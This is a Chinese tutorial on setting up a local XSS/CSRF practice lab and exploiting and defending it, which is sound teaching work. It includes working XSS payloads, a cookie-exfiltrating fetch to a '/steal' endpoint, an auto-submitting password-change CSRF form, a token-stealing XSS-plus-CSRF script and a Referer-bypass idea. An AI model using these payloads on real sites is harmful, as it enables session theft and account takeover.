☰
XSS+CSRF+HTML练习源码实战:从环境搭建到漏洞利用与防御
2026/9/30 1:15:07 网站建设 项目流程

简介:这份练习源码包面向网络安全初学者与Web安全方向的学习者,围绕XSS、CSRF及HTML注入三类常见攻击方式,提供可本地搭建的实战演练环境,帮助读者在动手调试中理解漏洞成因与防御思路。压缩包共402个文件,约1.19MB,以148个php脚本和87个htm页面为主体,配合91个gif、51个jpg及14个css样式文件构成完整站点结构,另含少量js、sql、txt与配置文件,便于直接部署运行。资源涵盖反射型、存储型与DOM型XSS的示例场景,以及CSRF令牌校验、输入过滤与转义、HTTP-only Cookie设置、HTML标签白名单过滤等防御实践,可帮助读者对照代码观察攻击链路与修复效果。目前已有431人学习下载,适合作为课堂实验、自学练手或安全课程配套素材,通过反复调试加深对Web安全机制的理解。

1. 从一份 XSS+CSRF+HTML 练习源码说起:这套东西到底练什么

很多人第一次拿到「xss+csrf+html练习源码.rar」这种压缩包,第一反应是解压、翻目录、找 index.html,然后对着满屏的<!doctype html><html lang="zh-cn"><head><meta charset="utf-8">发呆——这玩意儿能练出什么名堂?我当年也这么想,直到在一个真实项目里被一个存储型 XSS 打穿了后台,才回头把这类练习源码重新啃了一遍。这套源码的价值不在于代码本身多高级,而在于它把 XSS、CSRF、HTML 三个东西揉在一个可运行的小环境里,让你能亲手构造 payload、观察浏览器行为、理解同源策略和 Cookie 流转。它适合两类人:一是刚学 Web 安全、想找个不依赖外网靶场就能跑起来的新手;二是做 Java 或 PHP 后端、想搞清楚「为什么我加了过滤器还是被绕」的熟手。下面我按「先跑通、再拆解、后加固」的顺序,把这份练习源码的用法和背后的坑讲清楚。

2. 把练习源码跑起来:环境、目录与最小验证

2.1 解压后先看什么:目录结构与技术栈判断

拿到压缩包,别急着双击 HTML。先解压到一个纯英文路径下,用tree或文件管理器看一眼层级。典型的 XSS+CSRF 练习源码通常长这样:根目录一个index.html或login.php,一个xss/目录放反射型和存储型页面,一个csrf/目录放修改密码或转账的表单,可能还有一个db.sql或data.json存模拟数据。如果是纯静态 HTML 版本,那它主要练的是 DOM 型 XSS 和前端 CSRF 构造;如果带.php或.jsp,说明有服务端回显,能练反射型和存储型。

判断技术栈的方法很简单:看文件后缀和<!doctype html>后面的脚本引用。纯 HTML 的练习源码通常用localStorage或URLSearchParams模拟数据流,这种最适合新手,因为不需要配数据库。带 PHP 的就需要你本地有 PHP 环境,带 JSP 的得配 Tomcat。我一般会先跑纯静态的那部分,把 DOM 型 XSS 的逻辑吃透,再上服务端。

注意:解压前先扫一遍压缩包,确认没有.exe或.bat自动执行脚本。练习源码里混入恶意文件的情况虽然少见,但养成习惯没坏处。

2.2 纯静态 HTML 版本的最小启动命令

如果源码是纯静态的,最省事的启动方式是用 Python 自带的 HTTP 服务,避免直接file://协议带来的跨域限制。在源码根目录执行:

# 进入解压后的源码目录 cd xss_csrf_html_lab # 启动一个本地 HTTP 服务,端口 8000 python3 -m http.server 8000 # 浏览器访问 http://localhost:8000/index.html

这条命令的含义是:Python 的http.server模块会在当前目录起一个静态文件服务器,默认监听 8000 端口。用http://localhost:8000访问而不是双击 HTML 文件,是因为很多 XSS 练习依赖document.cookie或location.search,在file://协议下 Cookie 行为不一致,容易让你误判漏洞是否存在。参数上,端口可以改成 8080 或 3000,只要不冲突就行;如果源码里有.php,这条命令跑不了,得换 PHP 内置服务器:

# 适用于带 PHP 的练习源码 php -S localhost:8000

PHP 内置服务器同样以当前目录为根,但它会解析.php文件。启动后先访问index.html或login.php,看页面是否正常渲染。如果样式丢了,检查<!doctype html>下面的<meta charset="utf-8">是否和文件实际编码一致——中文乱码会让后面的 payload 测试出现玄学问题。

2.3 验证环境是否可用的三个检查点

跑起来之后,别急着上 payload。先做三个最小验证:第一,在浏览器控制台输入document.cookie,看是否有非空值,这决定后续 CSRF 能不能利用;第二,找一个带搜索框的页面,输入<b>test</b>,看是原样输出还是加粗显示,原样输出说明有反射型 XSS 的嫌疑;第三,打开开发者工具的 Network 面板,提交一次表单,看请求里有没有Cookie头,以及服务端返回的Set-Cookie有没有HttpOnly标记。

这三个检查点分别对应 XSS 的触发条件、CSRF 的凭证依赖和防御基线。如果document.cookie为空,说明练习源码可能没设置模拟登录态,你需要先走一遍登录流程,或者手动在控制台执行document.cookie = "sessionid=abc123"来模拟。这一步不做,后面构造 CSRF 页面时会发现请求根本不带凭证,白忙一场。

3. XSS 练习源码怎么用:从反射型到 DOM 型的构造与观察

3.1 反射型 XSS:URL 参数回显的 payload 构造

反射型 XSS 的练习页面通常有一个搜索框或欢迎语,把 URL 参数直接拼进 HTML。假设源码里有一个search.html,代码逻辑是:

<!doctype html> <html lang="zh-cn"> <head> <meta charset="utf-8"> <title>搜索练习</title> </head> <body> <div id="result"></div> <script> // 从 URL 取 keyword 参数,直接写入页面 const params = new URLSearchParams(location.search); const kw = params.get('keyword') || ''; document.getElementById('result').innerHTML = '你搜索的是:' + kw; </script> </body> </html>

这段代码的问题在innerHTML直接拼接了用户可控的keyword。构造 payload 时,访问:

# 在浏览器地址栏输入,注意对特殊字符做 URL 编码 http://localhost:8000/search.html?keyword=<img src=x onerror=alert(document.domain)>

如果弹窗出现,说明反射型 XSS 成立。这里用<img src=x onerror=...>而不是<script>alert(1)</script>,是因为通过innerHTML插入的<script>标签不会自动执行,这是浏览器解析机制决定的,很多新手在这里翻车,以为漏洞不存在。onerror事件在图片加载失败时触发,src=x保证一定失败,所以弹窗稳定。

参数说明:document.domain比alert(1)更有验证价值,因为它能证明你在当前域下执行了脚本。如果练习源码对<做了转义,试试%3C或大小写混合<ImG sRc=x OnErRoR=alert(1)>,看过滤逻辑是否只匹配小写。

3.2 存储型 XSS:留言板场景的数据流与触发时机

存储型 XSS 的练习源码一般会带一个留言板或评论框,数据先存到服务端或localStorage,再在列表页渲染。以localStorage版本为例,源码逻辑可能是:

// 提交留言 function submitMsg() { const msg = document.getElementById('msgInput').value; const list = JSON.parse(localStorage.getItem('msgs') || '[]'); list.push(msg); localStorage.setItem('msgs', JSON.stringify(list)); renderMsgs(); } // 渲染留言 function renderMsgs() { const list = JSON.parse(localStorage.getItem('msgs') || '[]'); const html = list.map(m => `<div class="msg">${m}</div>`).join(''); document.getElementById('msgList').innerHTML = html; }

存储型的关键在于:payload 存进去之后,每次刷新页面都会执行。构造时在留言框输入:

<img src=x onerror="fetch('http://localhost:8000/steal?c='+document.cookie)">

这条 payload 不会弹窗,但会在 Network 面板里看到一条发往/steal的请求,携带当前 Cookie。练习源码如果没有后端接收,你可以只看请求是否发出,以此判断存储型 XSS 是否触发。注意,fetch在file://协议下可能被拦截,所以前面强调要用 HTTP 服务启动。

存储型 XSS 的触发时机比反射型更隐蔽:反射型需要诱导点击特定 URL,存储型只要受害者访问正常页面就会中招。这也是为什么真实项目里存储型 XSS 的危害等级通常更高。练习时建议把localStorage清空再重新提交,观察数据从输入到渲染的完整链路。

3.3 DOM 型 XSS:不经过服务端的黑匣子与 source/sink 定位

DOM 型 XSS 的特点是数据流完全在前端,服务端日志里看不到 payload。练习源码里常见的写法是:

// 从 location.hash 取内容写入页面 const hash = location.hash.substring(1); document.getElementById('content').innerHTML = decodeURIComponent(hash);

构造 payload 时访问:

http://localhost:8000/dom.html#<img src=x onerror=alert(1)>

DOM 型 XSS 的排查思路是找 source 和 sink。source 是用户可控的输入点,比如location.hash、location.search、document.referrer、window.name;sink 是危险的操作,比如innerHTML、outerHTML、document.write、eval。练习源码里如果用了textContent而不是innerHTML,那这个点就是安全的,别硬套 payload。

我一般会在控制台用monitorEvents或直接打断点,看数据从 source 到 sink 的路径。DOM 型 XSS 最容易被忽视,因为服务端 WAF 完全看不到,很多 Java 项目全局过滤器处理了请求参数,却漏了前端 JS 直接取location.hash的情况。练习源码里如果有eval(location.hash)这种写法,那基本就是送分题。

4. CSRF 练习源码怎么用:从表单伪造到 Token 绕过

4.1 CSRF 成立的两个前提:Cookie 自动携带与参数可预测

CSRF 练习源码通常模拟一个「修改密码」或「转账」功能,表单提交时只依赖 Cookie 里的会话标识,没有额外的一次性 Token。要验证 CSRF 是否成立,先确认两个前提:第一,浏览器在跨站请求时会自动带上目标站的 Cookie;第二,请求参数是固定或可预测的,比如newpassword=123456。

在练习源码里,先正常登录,然后在另一个标签页打开一个攻击者构造的 HTML 文件:

<!doctype html> <html lang="zh-cn"> <head> <meta charset="utf-8"> <title>CSRF 练习</title> </head> <body> <form id="csrfForm" action="http://localhost:8000/change_password.php" method="POST"> <input type="hidden" name="newpassword" value="hacked123"> </form> <script> // 页面加载后自动提交表单 document.getElementById('csrfForm').submit(); </script> </body> </html>

把这个文件保存为csrf_attack.html,放在另一个端口或直接双击打开。如果目标站没有 CSRF 防护,密码会被改成hacked123。这里的关键是action指向目标站,浏览器会自动带上localhost:8000下的 Cookie。如果练习源码的 Cookie 设置了SameSite=Strict,这个请求不会带 Cookie,CSRF 就不成立——这也是现代浏览器默认防御 CSRF 的手段之一。

4.2 用 Token 和 Referer 校验做防御:练习源码里的加固点

练习源码如果带防御版本,通常会加 Token 或 Referer 校验。Token 的逻辑是:服务端生成随机值,存在 Session 里,表单里带一个隐藏字段,提交时比对。练习时你可以先跑无防御版本,再切到有防御版本,观察攻击页面是否失效。

Referer 校验的代码通常长这样:

// 服务端检查 Referer 是否来自本站 $referer = $_SERVER['HTTP_REFERER'] ?? ''; if (strpos($referer, 'localhost:8000') === false) { die('非法请求'); }

这种防御的绕过思路是:如果校验逻辑只判断strpos是否包含域名,攻击者可以把域名放在路径里,比如http://evil.com/localhost:8000/。练习源码里如果有这种写法,你可以构造对应的 Referer 来测试。但注意,现代浏览器对 Referer 的控制越来越严,Referrer-Policy: no-referrer会让服务端拿不到 Referer,这时候校验逻辑反而会误杀正常请求。

Token 防御的练习重点是:Token 是否绑定 Session、是否一次性、是否在 URL 里泄露。如果练习源码把 Token 放在 URL 参数里,那通过 Referer 泄露或日志泄露的风险就很高。我一般会检查 Token 的生成函数,看它是不是用了rand()或时间戳这种可预测的随机源。

4.3 结合 XSS 打 CSRF:练习源码里的组合拳

单独练 XSS 和 CSRF 还不够,真实场景里两者经常组合。练习源码如果同时有留言板和修改密码功能,你可以先提交一个存储型 XSS payload,让它自动读取页面里的 CSRF Token,再构造请求:

// 存储型 XSS payload,自动读取 Token 并提交修改密码请求 var token = document.querySelector('input[name="csrf_token"]').value; var xhr = new XMLHttpRequest(); xhr.open('POST', '/change_password.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('newpassword=hacked123&csrf_token=' + token);

这段代码的前提是 XSS 和修改密码页面同源,且 Token 在 DOM 里可读。如果练习源码的 Token 放在HttpOnlyCookie 里,那 XSS 读不到,组合攻击就失败。这也是为什么防御 XSS 是防御 CSRF 的基础——没有 XSS,攻击者很难拿到 Token。

练习时建议把这段 payload 存进留言板,然后访问修改密码页面,看密码是否被改。如果成功,说明练习源码的 Token 没有做二次校验。这个组合拳在 CTF 里很常见,比如 ctfshow 的 XSS 专题就有类似题目。

5. 避坑与排查:练习源码里最容易翻车的五个点

5.1 现象:payload 不弹窗,控制台报 CSP 错误

原因:练习源码的 HTML 里带了Content-Security-Policy响应头或 meta 标签,禁止了内联脚本执行。解决:检查<!doctype html>下面的 meta 标签,或者用curl -I http://localhost:8000看响应头。如果有 CSP,把 payload 改成外部脚本引用,或者直接注释掉 CSP 再练。注意,真实项目里 CSP 是重要防御,练习时关掉只是为了理解漏洞本身。

5.2 现象:CSRF 请求发出去了,但服务端返回 403

原因:服务端校验了Origin或Referer,而攻击页面来自file://或不同端口。解决:把攻击页面也放到localhost:8000下,或者用python3 -m http.server 8001起另一个服务,确保 Referer 可控。如果服务端校验Origin,那从file://打开的页面 Origin 是null,会被直接拒绝。

5.3 现象:DOM 型 XSS 在 Chrome 里不执行,Firefox 里执行

原因:不同浏览器对innerHTML插入的<script>处理不一致,Chrome 更严格。解决:统一用<img src=x onerror=...>或<svg onload=...>这类事件型 payload,避免依赖<script>标签。另外,Chrome 的 XSS Auditor 虽然已经移除,但某些扩展可能干扰,练习时用无痕模式。

5.4 现象:存储型 XSS 提交后刷新页面,payload 被转义了

原因:服务端或前端在渲染时做了 HTML 实体编码,比如把<转成&lt;。解决:查看源码里的转义函数,如果是htmlspecialchars或textContent,那这个点就是安全的。练习时找那些直接拼接字符串的渲染逻辑,或者尝试用javascript:伪协议、data:URI 等绕过简单转义。

5.5 现象:Cookie 里没有 sessionid,CSRF 打不通

原因:练习源码可能用localStorage存登录态,而不是 Cookie。解决:在控制台执行document.cookie = "sessionid=test123; path=/"手动模拟,或者改练习源码的登录逻辑,把localStorage改成document.cookie。注意,localStorage不会自动随请求发送,所以基于localStorage的认证天然免疫 CSRF,但容易受 XSS 影响。

6. 进阶技巧:把练习源码改造成可复用的本地靶场

练完一遍之后,我习惯把练习源码改造成一个可复用的本地靶场,这样下次带新人或者自己复习时不用重新找环境。具体做法是:在根目录加一个docker-compose.yml,把 PHP 和 MySQL 打包进去,用docker compose up一键启动。这样既避免了本地环境差异,也能模拟真实的服务端数据流。

# docker-compose.yml 示例 version: '3' services: web: image: php:7.4-apache ports: - "8000:80" volumes: - ./src:/var/www/html depends_on: - db db: image: mysql:5.7 environment: MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: lab ports: - "3306:3306"

这个配置把源码目录挂到 Apache 的根目录,MySQL 存练习数据。启动后访问localhost:8000,和之前用 Python 起服务效果一样,但支持 PHP 和数据库。参数上,php:7.4-apache可以换成你熟悉的版本,MySQL 的密码按需改。注意,练习环境不要暴露到公网,本地跑就行。

另一个技巧是给练习源码加日志。在 XSS 和 CSRF 的触发点插入console.log或写文件日志,记录 payload 和请求来源。这样你能看到哪些 payload 被拦截、哪些绕过了。我一般会在change_password.php里加一行file_put_contents('csrf.log', json_encode($_POST).PHP_EOL, FILE_APPEND);,每次提交都记下来,方便回溯。

最后说个血泪教训:别在练习源码里用真实密码或真实 Cookie。我见过有人拿公司测试站的 Cookie 去练 CSRF,结果攻击页面被搜索引擎收录,差点出大事。练习就用localhost,数据用假的,环境用完就关。这套 XSS+CSRF+HTML 练习源码的价值在于让你亲手摸一遍漏洞的触发条件,而不是背概念。把反射型、存储型、DOM 型各跑通一次,再把 CSRF 的 Token 绕过试一遍,你对 Web 安全的理解会比看十篇文章都扎实。希望帮到你。

本文还有配套的精品资源,点击获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询